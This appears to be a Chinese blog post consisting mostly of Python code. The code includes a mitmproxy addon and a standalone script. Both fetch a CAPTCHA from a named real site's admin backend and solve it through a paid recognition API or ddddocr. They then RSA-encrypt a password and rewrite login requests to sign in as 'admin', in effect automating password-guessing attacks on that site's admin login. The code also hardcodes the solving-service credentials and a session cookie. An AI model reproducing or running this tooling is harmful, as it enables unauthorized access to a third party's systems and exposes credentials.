dacj4n's

1
class GetCode:
2

3
    def __init__(self):
4
        pass
5

6
    def getCode(self):
7
        headers = {
8
            "Host": "www.sx-xfjy.com",
9
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
10
            "Accept": "application/json, text/plain, */*",
11
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
12
            "Accept-Encoding": "gzip, deflate",
13
            "Referer": "http://www.sx-xfjy.com/",
14
        }
15

16
        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
17
        req = requests.get(url=url, headers=headers)
18
        req_json = req.json()
19
        imgStr = req_json['data']['imgStr']
20
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
21
        image_data = base64.b64decode(imageBase64Data)
22
        image = Image.open(io.BytesIO(image_data))
23
        image.save('img/decode_images.png')
24
        print(imgStr)
25
        return str(imgStr)
26

27
    def base64_api(self, uname, pwd, img, typeid):
28
        with open(img, 'rb') as f:
29
            base64_data = base64.b64encode(f.read())
30
            b64 = base64_data.decode()
31
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
32
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
33
        if result['success']:
34
            return result["data"]["result"]
35
        else:
36
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
37
            return result["message"]
38

39
    def identify(self):
40
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
41
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
42
        print(result)
43
        return str(result)

1
def encrypt(password):
2
    with open('pub.key', 'r', encoding='utf-8') as info:
3
        pub_key = info.read()
4

5
    pub_key = RSA.import_key(pub_key)
6

7
    # 使用公钥创建一个加密器
8
    cipher_rsa = PKCS1_v1_5.new(pub_key)
9

10
    m = password.encode()
11
    e_data = cipher_rsa.encrypt(m)
12
    e_data_base64 = base64.b64encode(e_data)
13
    return e_data_base64

1
class AutoDecoderClass(object):
2

3
    def request(self, flow: http.HTTPFlow):
4
        getcode = GetCode()
5
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':
6
            # print(flow.request.content)
7
            data = json.loads(flow.request.content.decode('utf-8'))
8
            # print(data['password'])
9
            # print(encrypt(data['password']).decode())
10
            e_password = encrypt(data['password']).decode()
11
            imgStr = getcode.getCode()
12
            veryCode = getcode.identify()
13

14
            flow.request.content = json.dumps(
15
                {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()
16
                # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()
17
            print(flow.request.content)
18

19
    def response(self, flow: http.HTTPFlow):
20
        pass
21

22

23
addons = [
24
    AutoDecoderClass()
25
]

1
运行：
2
mitmdump -s demo.py --ssl-insecure --listen-port 55555 --mode socks5
3
[16:30:44.612] Loading script demo.py
4
[16:30:44.946] SOCKS v5 proxy listening at *:55555.

1
# !/usr/bin/python3
2
# -*- coding:utf-8 -*-
3
# @Time : 2024/3/2 15:01
4
# @Author : 大C菌
5
# @File : demo.py
6
# @Software: PyCharm
7
from mitmproxy import http
8
from Crypto.PublicKey import RSA
9
from Crypto.Cipher import PKCS1_v1_5
10
import io, json, requests, base64
11
from PIL import Image
12

13

14
class GetCode:
15

16
    def __init__(self):
17
        pass
18

19
    def getCode(self):
20
        headers = {
21
            "Host": "www.sx-xfjy.com",
22
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
23
            "Accept": "application/json, text/plain, */*",
24
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
25
            "Accept-Encoding": "gzip, deflate",
26
            "Referer": "http://www.sx-xfjy.com/",
27
        }
28

29
        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
30
        req = requests.get(url=url, headers=headers)
31
        req_json = req.json()
32
        imgStr = req_json['data']['imgStr']
33
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
34
        image_data = base64.b64decode(imageBase64Data)
35
        image = Image.open(io.BytesIO(image_data))
36
        image.save('img/decode_images.png')
37
        print(imgStr)
38
        return str(imgStr)
39

40
    def base64_api(self, uname, pwd, img, typeid):
41
        with open(img, 'rb') as f:
42
            base64_data = base64.b64encode(f.read())
43
            b64 = base64_data.decode()
44
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
45
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
46
        if result['success']:
47
            return result["data"]["result"]
48
        else:
49
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
50
            return result["message"]
51

52
    def identify(self):
53
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
54
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
55
        print(result)
56
        return str(result)
57

58

59
# 加密函数
60
def encrypt(password):
61
    with open('pub.key', 'r', encoding='utf-8') as info:
62
        pub_key = info.read()
63

64
    pub_key = RSA.import_key(pub_key)
65

66
    # 使用公钥创建一个加密器
67
    cipher_rsa = PKCS1_v1_5.new(pub_key)
68

69
    m = password.encode()
70
    e_data = cipher_rsa.encrypt(m)
71
    e_data_base64 = base64.b64encode(e_data)
72
    return e_data_base64
73

74

75
class AutoDecoderClass(object):
76

77
    def request(self, flow: http.HTTPFlow):
78
        getcode = GetCode()
79
        if flow.request.method == 'POST' and flow.request.headers['Content-Type'] == 'application/json;charset=utf-8':
80
            # print(flow.request.content)
81
            data = json.loads(flow.request.content.decode('utf-8'))
82
            # print(data['password'])
83
            # print(encrypt(data['password']).decode())
84
            e_password = encrypt(data['password']).decode()
85
            imgStr = getcode.getCode()   # 这里要先进行获取token，在进行识别，不然在获取tokne的时候就会多访问一次接口
86
            veryCode = getcode.identify()
87

88
            flow.request.content = json.dumps(
89
                {"username": "admin", "password": str(e_password), "veryCode": veryCode, "loginposition": 1, "imgStr": imgStr}).encode()
90
                # {"username": "admin", "password": str(e_password), "veryCode": "6245", "loginposition": 1, "imgStr": "z8cs8oxbmz"}).encode()
91
            print(flow.request.content)
92

93
    def response(self, flow: http.HTTPFlow):
94
        pass
95

96

97
addons = [
98
    AutoDecoderClass()
99
]

1
# !/usr/bin/python3
2
# -*- coding:utf-8 -*-
3
# @Time : 2024/3/2 16:36
4
# @Author : 大C菌
5
# @File : demo2.py
6
# @Software: PyCharm
7
from Crypto.PublicKey import RSA
8
from Crypto.Cipher import PKCS1_v1_5
9
import io, json, requests, base64
10
from PIL import Image
11

12

13
class GetCode:
14

15
    def __init__(self):
16
        pass
17

18
    def getCode(self):
19
        headers = {
20
            "Host": "www.sx-xfjy.com",
21
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
22
            "Accept": "application/json, text/plain, */*",
23
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
24
            "Accept-Encoding": "gzip, deflate",
25
            "Referer": "http://www.sx-xfjy.com/",
26
        }
27

28
        url = 'http://www.sx-xfjy.com/vue_admin/omp/forgetPassword/identifyImageBase64'
29
        req = requests.get(url=url, headers=headers)
30
        req_json = req.json()
31
        imgStr = req_json['data']['imgStr']
32
        _, imageBase64Data = str(req_json['data']['imageBase64Data']).split(',')
33
        image_data = base64.b64decode(imageBase64Data)
34
        image = Image.open(io.BytesIO(image_data))
35
        image.save('img/decode_images.png')
36
        print(imgStr)
37
        return str(imgStr)
38

39
    def base64_api(self, uname, pwd, img, typeid):
40
        with open(img, 'rb') as f:
41
            base64_data = base64.b64encode(f.read())
42
            b64 = base64_data.decode()
43
        data = {"username": uname, "password": pwd, "typeid": typeid, "image": b64}
44
        result = json.loads(requests.post("http://api.ttshitu.com/predict", json=data).text)
45
        if result['success']:
46
            return result["data"]["result"]
47
        else:
48
            # ！！！！！！！注意：返回 人工不足等 错误情况 请加逻辑处理防止脚本卡死 继续重新 识别
49
            return result["message"]
50

51
    def identify(self):
52
        img_path = '/images/posts/js-reverse-rsa/decode_images.png'
53
        result = self.base64_api(uname='dcj', pwd='135728Qq', img=img_path, typeid=1)
54
        print(result)
55
        return str(result)
56

57

58
# 加密函数
59
def encrypt(password):
60
    with open('pub.key', 'r', encoding='utf-8') as info:
61
        pub_key = info.read()
62

63
    pub_key = RSA.import_key(pub_key)
64

65
    # 使用公钥创建一个加密器
66
    cipher_rsa = PKCS1_v1_5.new(pub_key)
67

68
    m = password.encode()
69
    e_data = cipher_rsa.encrypt(m)
70
    e_data_base64 = base64.b64encode(e_data)
71
    return e_data_base64
72

73

74
if __name__ == '__main__':
75
    getcode = GetCode()
76
    headers = {
77
        "Host": "www.sx-xfjy.com",
78
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
79
        "Accept": "application/json, text/plain, */*",
80
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
81
        "Accept-Encoding": "gzip, deflate",
82
        "Referer": "http://www.sx-xfjy.com/",
83
        "Content-Type": "application/json;charset=utf-8",
84
        "Origin": "http://www.sx-xfjy.com",
85
        "Cookie": "SECKEY_ABVK=qOUnHiYLA0QvxOh8qtI8CSsUkzNCv/5ucN/hU6zcXY0%3D; BMAP_SECKEY=iGmRyj6_NdjcORnEGQxsoDU9ZrGuL9y7_4zjlCUiQZfVi_w-iN2SWlB-qwG64p4QDoGioaYCMq_Di0SL2lL1zhGtkc6kiuHi3ypdxIgoiVx_mXeoIrU4JI4_yT6MslzpO0ywiLA0zrtHiQGB7OD9V_Yj-M6IHc3CBUdtX_gzmTuSP8GHzojDRLrUZEXlI68t"
86
    }
87

88
    url = 'http://www.sx-xfjy.com/vue_admin/omp/system/system_spring_security'
89

90
    username = 'admin'
91
    password = '123456'
92
    e_password = encrypt(password).decode()
93

94
    data = {
95
        "username": username,
96
        "password": e_password,
97
        "loginposition": 1,
98
        "imgStr": getcode.getCode(),
99
        "veryCode": getcode.identify()
100
    }
101
    json_data = json.dumps(data)   # 坑点！！！必须要进行json转换，在这里失败了好多次
102
    req = requests.post(url=url, headers=headers, data=json_data)
103
    print(json_data)
104
    print(req.text)
105
    print(req.status_code)

1
https://digi.bib.uni-mannheim.de/tesseract/

1
https://blog.csdn.net/username666/article/details/126310781

1
https://pypi.org/project/ddddocr/1.1.0/

1
def identify2(self):
2
    with open('img/decode_images.png', 'rb') as info:
3
        img_bytes = info.read()
4

5
    text = DdddOcr(show_ad=False).classification(img_bytes)
6
    print(text)